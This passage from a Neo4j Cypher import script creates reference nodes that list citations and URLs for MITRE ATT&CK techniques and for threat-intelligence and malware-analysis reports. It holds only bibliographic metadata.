external_reference_id:"b9bdb4d5-756d-49eb-af19-266592c2fdc9", external_id:"", source_name:"Reaqta MSXSL Spearphishing MAR 2018", url:"https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"}}, {_id:1888, properties:{hashes:[], description:"", external_id:"T1015", external_reference_id:"b866b99e-9a37-4367-9b55-c3e311729664", url:"https://attack.mitre.org/mitigations/T1015", source_name:"mitre-attack"}}, {_id:1894, properties:{hashes:[], description:"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", external_id:"", external_reference_id:"e16a34ea-9c30-49bb-8fd5-598d0a77246e", url:"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", source_name:"Corio 2008"}}, {_id:546, properties:{hashes:[], description:"Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.", external_id:"", external_reference_id:"cbaf9de4-4b89-4911-8992-4124aa422a63", url:"https://objective-see.com/blog/blog_0x2A.html", source_name:"OSX Coldroot RAT"}}, {_id:552, properties:{hashes:[], description:"Search Results Web Result with Site Links Tim McMichael. (2014, July 28). Exchange and Office 365: Mail Forwarding. Retrieved August 27, 2019.", external_id:"", external_reference_id:"ad40cf9b-24bd-470a-b183-f7864ac54783", url:"https://blogs.technet.microsoft.com/timmcmic/2014/07/28/exchange-and-office-365-mail-forwarding/", source_name:"TIMMCMIC, 2014"}}, {_id:544, properties:{hashes:[], description:"Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.", external_reference_id:"5e35e4cd-fe2b-4c92-83fd-625a3d6f16b2", external_id:"", url:"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8", source_name:"Death by 1000 installers; it's all broken!"}}, {_id:582, properties:{hashes:[], description:"", external_id:"T1480", external_reference_id:"174e3019-a90b-4598-81a8-36b7dba81234", url:"https://attack.mitre.org/techniques/T1480", source_name:"mitre-attack"}}, {_id:583, properties:{hashes:[], description:"Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.", external_reference_id:"3eec7cfb-692f-4a8d-a483-da8da6d8757b", external_id:"", source_name:"FireEye Kevin Mandia Guardrails", url:"https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/"}}, {_id:584, properties:{hashes:[], description:"Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.", external_id:"", external_reference_id:"d54dc6da-fa03-4b78-9bbd-146b1fc0c3eb", url:"https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf", source_name:"EK Clueless Agents"}}, {_id:585, properties:{hashes:[], description:"Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.", external_reference_id:"3a106000-1918-4113-b0e8-542c2e0d7b96", external_id:"", source_name:"Kaspersky Gauss Whitepaper", url:"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf"}}, {_id:586, properties:{hashes:[], description:"Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.", external_reference_id:"695fc7ea-c1a6-4889-9d99-cc0fcc5dc3fa", external_id:"", source_name:"Proofpoint Router Malvertising", url:"https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices"}}, {_id:587, properties:{hashes:[], description:"Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.", external_reference_id:"09b6b96d-63d4-46ad-9f87-519ee1f6c8d6", external_id:"", source_name:"EK Impeding Malware Analysis", url:"https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf"}}, {_id:557, properties:{hashes:[], description:"Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.", external_id:"", external_reference_id:"6279b150-094e-4f6d-84b8-201a0cf2de63", url:"https://www.xorrior.com/emond-persistence/", source_name:"xorrior emond Jan 2018"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:578, properties:{hashes:[], description:"Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019.", external_id:"", external_reference_id:"7d260dc6-652f-4fa6-a1b6-dd61b26ca267", url:"https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html", source_name:"Sucuri BIND9 August 2015"}}, {_id:489, properties:{hashes:[], description:"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", external_reference_id:"c5a043a1-cada-4984-8150-80cd90a7d2fc", external_id:"", source_name:"Palo Alto Shamoon Nov 2016", url:"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}}, {_id:503, properties:{hashes:[], description:"Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", external_id:"", external_reference_id:"c0800ed8-321b-4ee0-a7a0-2cbfc9a69af5", url:"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html", source_name:"Akamai DGA Mitigation"}}, {_id:508, properties:{hashes:[], description:"Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.", external_id:"", external_reference_id:"e76592b8-e2bb-4ffe-8b96-af1eb64a36d5", url:"https://arxiv.org/pdf/1611.00791.pdf", source_name:"Endgame Predicting DGA"}}, {_id:435, properties:{hashes:[], description:"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", external_reference_id:"514fc2f0-cfe1-4d74-8dc9-d02c7d72581d", external_id:"", source_name:"University of Birmingham C2", url:"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}}, {_id:440, properties:{hashes:[], description:"Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.", external_reference_id:"1b695f28-abd9-4117-b83f-9ab896e8c50e", external_id:"", url:"https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide", source_name:"Microsoft Azure Storage Security, 2019"}}, {_id:427, properties:{hashes:[], description:"", external_id:"T1001", external_reference_id:"40592c3b-c091-4f96-aa28-8baa8b467b24", url:"https://attack.mitre.org/techniques/T1001", source_name:"mitre-attack"}}, {_id:428, properties:{hashes:[], description:"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", external_reference_id:"294e6790-300f-4638-83f7-7d38fb691a61", external_id:"", source_name:"University of Birmingham C2", url:"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}}, {_id:976, properties:{hashes:[], description:"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", external_reference_id:"0890343f-2f82-49c9-a89d-707ad9adb4d3", external_id:"", source_name:"Methods of Mac Malware Persistence", url:"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"}}, {_id:977, properties:{hashes:[], description:"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", external_reference_id:"70ba744b-13d4-4519-bbec-2781c4494bec", external_id:"", source_name:"Malware Persistence on OS X", url:"https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf"}}, {_id:978, properties:{hashes:[], description:"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", external_id:"", external_reference_id:"53a21ea7-1d47-4418-beef-8ae1d227caa4", url:"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", source_name:"OSX.Dok Malware"}}, {_id:988, properties:{hashes:[], description:"", external_id:"T1185", external_reference_id:"3ae7f2c1-fb3b-48dc-9e7c-f37a6adab5aa", url:"https://attack.mitre.org/techniques/T1185", source_name:"mitre-attack"}}, {_id:995, properties:{hashes:[], description:"", external_id:"T1036", external_reference_id:"b17d99e5-e025-412d-8740-2254db079858", url:"https://attack.mitre.org/techniques/T1036", source_name:"mitre-attack"}}, {_id:933, properties:{hashes:[], description:"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", external_id:"", external_reference_id:"4b8e0d42-4519-4458-9a16-e4b4268b5cb0", url:"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", source_name:"Microsoft DLL Security"}}, {_id:963, properties:{hashes:[], description:"Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.", external_reference_id:"582d3496-b5dd-435a-8bae-7cb626b1ae47", external_id:"", url:"https://linux.die.net/man/5/crontab", source_name:"Die.net Linux crontab Man Page"}}, {_id:973, properties:{hashes:[], description:"", external_id:"T1162", external_reference_id:"8722198a-9f36-4b64-a4f2-d8f06d6ae85b", url:"https://attack.mitre.org/techniques/T1162", source_name:"mitre-attack"}}, {_id:974, properties:{hashes:[], description:"", external_id:"CAPEC-564", external_reference_id:"36965041-9fc4-4e58-9fd5-37627c3d7d83", source_name:"capec", url:"https://capec.mitre.org/data/definitions/564.html"}}, {_id:975, properties:{hashes:[], description:"Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.", external_id:"", external_reference_id:"4e9e70a6-6677-47a4-bb18-c53ca5312047", url:"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", source_name:"Adding Login Items"}}, {_id:1004, properties:{hashes:[], description:"Michal Malik AND Marc-Etienne M.Léveillé. (2016, March 30). Meet Remaiten – a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017.", external_id:"", external_reference_id:"2e98a172-c4cf-44ee-a768-a94989dde0fc", url:"https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/", source_name:"Remaiten"}}, {_id:1005, properties:{hashes:[], description:"Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy’s Linux Backdoor. Retrieved September 10, 2017.", external_id:"", external_reference_id:"114330b5-e8c2-4883-868d-7c40d01707ee", url:"https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", source_name:"Fysbis Palo Alto Analysis"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:1006, properties:{hashes:[], description:"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", external_id:"", external_reference_id:"bdf55546-8278-43f0-954f-384f87170e83", url:"https://vms.drweb.com/virus/?i=4276269", source_name:"Fysbis Dr Web Analysis"}}, {_id:1007, properties:{hashes:[], description:"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", external_reference_id:"5739ae31-d97d-4735-b052-1661aeba93ac", external_id:"", url:"https://twitter.com/ItsReallyNick/status/1055321652777619457", source_name:"Twitter ItsReallyNick Masquerading Update"}}, {_id:1024, properties:{hashes:[], description:"Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.", external_id:"", external_reference_id:"7034b01c-aa0b-4baf-a998-d8d91ac1fe4b", url:"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657", source_name:"Microsoft 4657 APR 2017"}}, {_id:11408, properties:{hashes:[], description:"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", external_id:"", external_reference_id:"b7ee32c2-96e6-40cb-bced-1ec92118543c", url:"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", source_name:"Novetta Blockbuster"}}, {_id:11409, properties:{hashes:[], description:"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", external_id:"", external_reference_id:"fae95e58-0d50-46ce-af2c-1abb367c14e7", url:"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf", source_name:"Novetta Blockbuster Tools"}}, {_id:11419, properties:{hashes:[], description:"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", external_reference_id:"04ef13ff-999f-4302-97e2-c7ae3e6194cd", external_id:"", source_name:"Citizen Lab Stealth Falcon May 2016", url:"https://citizenlab.org/2016/05/stealth-falcon/"}}, {_id:11433, properties:{hashes:[], description:"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", external_id:"", external_reference_id:"d4c48073-9e8f-4d9b-8b6e-d68d9235ec68", url:"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan", source_name:"Symantec Tick Apr 2016"}}, {_id:11442, properties:{hashes:[], description:"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", external_reference_id:"185aa5ec-fefc-4868-af28-bd2ec19247c4", external_id:"", source_name:"ClearSky Wilted Tulip July 2017", url:"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}}, {_id:11449, properties:{hashes:[], description:"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", external_id:"", external_reference_id:"795bec46-d5c7-4a7d-a5eb-c1ab88e65cfc", url:"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf", source_name:"DustySky"}}, {_id:11479, properties:{hashes:[], description:"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", external_reference_id:"92b36f9f-4bbf-47f6-b986-d32c42c4da4a", external_id:"", source_name:"Unit 42 Magic Hound Feb 2017", url:"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}}, {_id:11515, properties:{hashes:[], description:"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", external_id:"", external_reference_id:"d4bd105c-f8cf-481a-9fdb-45efc727ed2c", url:"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", source_name:"FireEye APT37 Feb 2018"}}, {_id:11516, properties:{hashes:[], description:"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", external_id:"", external_reference_id:"3f0b2fd8-f45c-4852-848a-104fe9fbd174", url:"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", source_name:"Unit 42 Nokki Oct 2018"}}, {_id:11523, properties:{hashes:[], description:"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", external_id:"", external_reference_id:"8e33db46-fe5e-4f71-83bf-c237f7cabc16", url:"https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", source_name:"Alperovitch 2014"}}, {_id:11530, properties:{hashes:[], description:"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", external_reference_id:"ee2cf23e-4662-4d33-8a56-7ef7a18fb90a", external_id:"", source_name:"Microsoft PLATINUM April 2016", url:"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}}, {_id:11541, properties:{hashes:[], description:"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", external_id:"", external_reference_id:"2ac16ea8-3e87-48d8-af65-24b2d6f6944e", url:"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", source_name:"FireEye APT37 Feb 2018"}}, {_id:11542, properties:{hashes:[], description:"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", external_id:"", external_reference_id:"7449d95a-ebb2-4dcf-a357-60637e33ff2f", url:"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", source_name:"Talos Group123"}}, {_id:11543, properties:{hashes:[], description:"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", external_id:"", external_reference_id:"27e86e0a-5a3c-420b-85c9-85367b4ee4a1", url:"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/", source_name:"Unit 42 Bisonal July 2018"}}, {_id:11567, properties:{hashes:[], description:"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", external_id:"", external_reference_id:"df3d717d-e39d-44ab-b203-e362ae2bf281", url:"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", source_name:"ESET OceanLotus"}}, {_id:11568, properties:{hashes:[], description:"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", external_reference_id:"dab9b636-10b3-4ec4-90f5-4e11f4ea76ef", external_id:"", source_name:"Cybereason Cobalt Kitty 2017", url:"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}}, {_id:11574, properties:{hashes:[], description:"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", external_reference_id:"5b06bfac-94ca-4d63-8f78-db607ce826f6", external_id:"", source_name:"Mandiant FIN5 GrrCON Oct 2016", url:"https://www.youtube.com/watch?v=fevGZs0EQu8"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:11575, properties:{hashes:[], description:"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", external_reference_id:"eef48d54-b5cd-43cc-918d-07d92414ff24", external_id:"", url:"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", source_name:"PWC Cloud Hopper Technical Annex April 2017"}}, {_id:11580, properties:{hashes:[], description:"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", external_reference_id:"8b7cee78-f24a-46e4-a3b1-9fbf34a839cb", external_id:"", source_name:"Unit 42 DarkHydrus July 2018", url:"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}}, {_id:11581, properties:{hashes:[], description:"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", external_id:"", external_reference_id:"f46fda65-7dba-4248-99f2-e3471518844c", url:"https://pan-unit42.github.io/playbook_viewer/", source_name:"Unit 42 Playbook Dec 2017"}}, {_id:11595, properties:{hashes:[], description:"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", external_id:"", external_reference_id:"354d2d36-b4b3-405d-94c2-11e4b7a13534", url:"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", source_name:"FireEye APT19"}}, {_id:11596, properties:{hashes:[], description:"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", external_id:"", external_reference_id:"dc6d1156-2e5d-4405-8e2b-d1b032743fa0", url:"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", source_name:"Unit 42 C0d0so0 Jan 2016"}}, {_id:11604, properties:{hashes:[], description:"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", external_id:"", external_reference_id:"de7bfc7d-65df-4312-86a3-262d42e85cc1", url:"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", source_name:"ESET Sednit Part 2"}}, {_id:11612, properties:{hashes:[], description:"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", external_reference_id:"33e164e6-411a-425d-b6b2-aa1ba12537b6", external_id:"", source_name:"Unit 42 Gorgon Group Aug 2018", url:"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}}, {_id:11622, properties:{hashes:[], description:"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.", external_id:"", external_reference_id:"0a11846f-b1a3-4a5d-a3c9-5f1c67b308d1", url:"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", source_name:"Check Point Rocket Kitten"}}, {_id:11623, properties:{hashes:[], description:"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", external_id:"", external_reference_id:"daf39b4c-df96-48ab-9944-6453cf460c5e", url:"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", source_name:"ESET InvisiMole June 2018"}}, {_id:11638, properties:{hashes:[], description:"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", external_id:"", external_reference_id:"47928aa8-bf56-47c6-a4db-315c5e5ba9d0", url:"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/", source_name:"Unit 42 Bisonal July 2018"}}, {_id:11674, properties:{hashes:[], description:"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", external_reference_id:"3bd1eb32-c027-4bd0-a9bc-06cafbcd2f28", external_id:"", source_name:"Secureworks BRONZE BUTLER Oct 2017", url:"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}}, {_id:11675, properties:{hashes:[], description:"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", external_id:"", external_reference_id:"36a4cb8e-6ae3-456c-a2fa-1ea402f5411a", url:"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan", source_name:"Symantec Tick Apr 2016"}}, {_id:11701, properties:{hashes:[], description:"Glyer, C. (2018, April 14). @cglyer Status Update. Retrieved October 11, 2018.", external_reference_id:"b2d70f1e-d70d-4e9b-8cd5-d68af566eddb", external_id:"", url:"https://twitter.com/cglyer/status/985311489782374400", source_name:"Twitter Cglyer Status Update APT3 eml"}}, {_id:11726, properties:{hashes:[], description:"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", external_reference_id:"9d6c7693-c09d-45ad-bd63-78e323fdae02", external_id:"", source_name:"FireEye Periscope March 2018", url:"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}}, {_id:11763, properties:{hashes:[], description:"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", external_reference_id:"4a363fe7-8309-4e2c-989b-be7e27c38f28", external_id:"", source_name:"Talos Cobalt Group July 2018", url:"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}}, {_id:11764, properties:{hashes:[], description:"Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", external_reference_id:"79b6db96-dc63-48f6-a17f-92634a1e7abc", external_id:"", source_name:"Unit 42 Cobalt Gang Oct 2018", url:"https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"}}, {_id:11767, properties:{hashes:[], description:"Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", external_id:"", external_reference_id:"cbae940a-68e2-4f6b-bf41-c17d8f34f58f", url:"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2", source_name:"Symantec Backdoor.Mivast"}}, {_id:11793, properties:{hashes:[], description:"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", external_id:"", external_reference_id:"3c06ff09-a981-407d-98bc-9f28e8a60af7", url:"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf", source_name:"DustySky"}}, {_id:11812, properties:{hashes:[], description:"sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer):  A complex malware for targeted attacks. Retrieved September 6, 2018.", external_id:"", external_reference_id:"c39721ce-7f9a-4db3-a596-bb41e75dad17", url:"https://www.crysys.hu/publications/files/skywiper.pdf", source_name:"Crysys Skywiper"}}, {_id:11814, properties:{hashes:[], description:"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", external_reference_id:"07da3a78-a1b4-4979-af1a-2c17ea78380e", external_id:"", source_name:"Symantec Elderwood Sept 2012", url:"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:external_reference;
UNWIND [{_id:11826, properties:{hashes:[], description:"Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", external_id:"", external_reference_id:"b13345a1-d83e-41a0-b8cc-55335e1096d5", url:"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", source_name:"Symantec Dragonfly"}}, {_id:11830, properties:{hashes:[], description:"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", external_reference_id:"f6e7fb32-371b-4def-a42f-01d8c24abf8b", external_id:"", source_name:"Cobalt Strike TTPs Dec 2017", url:"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"}}, {_id:11838, properties:{hashes:[], description:"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", external_id:"", external_reference_id:"24eb0243-b10a-4449-ba72-5a7c5624f117", url:"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf", source_name:"Villeneuve et al 2014"}}, {_id:11872, properties:{hashes:[], description:"Maccaglia, S. (2015, November 4). Evolving Threats: dissection of a CyberEspionage attack. Retrieved April 4, 2018.", external_reference_id:"751feb8b-999c-4fe6-852b-4bc54b6bfc44", external_id:"", url:"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.11.04_Evolving_Threats/cct-w08_evolving-threats-dissection-of-a-cyber-espionage-attack.pdf", source_name:"RSAC 2015 Abu Dhabi Stefano Maccaglia"}}, {_id:11873, properties:{hashes:[], description:"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", external_reference_id:"e0d9fdf1-f0f9-4755-b61f-cc804d28fd04", external_id:"", source_name:"fsecure NanHaiShu July 2016", url:"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}}, {_id:11875, properties:{hashes:[], description:"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", external_id:"", external_reference_id:"bb1b370d-76ac-40b9-badf-9d84d9378476", url:"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", source_name:"FireEye APT37 Feb 2018"}}, {_id:11888, properties:{hashes:[], description:"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", external_reference_id:"8c716087-1f3d-4ca3-86aa-8c8a1680775a", external_id:"", source_name:"SecureWorks BRONZE UNION June 2017", url:"https://www.secureworks.com/research/bronze-union"}}, {_id:11891, properties:{hashes:[], description:"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", external_id:"", external_reference_id:"c5e974fc-b4eb-4291-b639-a5f28f1bf476", url:"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", source_name:"Symantec Thrip June 2018"}}, {_id:11917, properties:{hashes:[], description:"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", external_id:"", external_reference_id:"ba3bdb4f-b358-4208-8d23-f45e9db59cdc", url:"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", source_name:"FireEye APT37 Feb 2018"}}, {_id:11918, properties:{hashes:[], description:"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", external_id:"", external_reference_id:"de1224c5-1b22-4b10-b42d-df620239606b", url:"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", source_name:"Talos Group123"}}, {_id:11932, 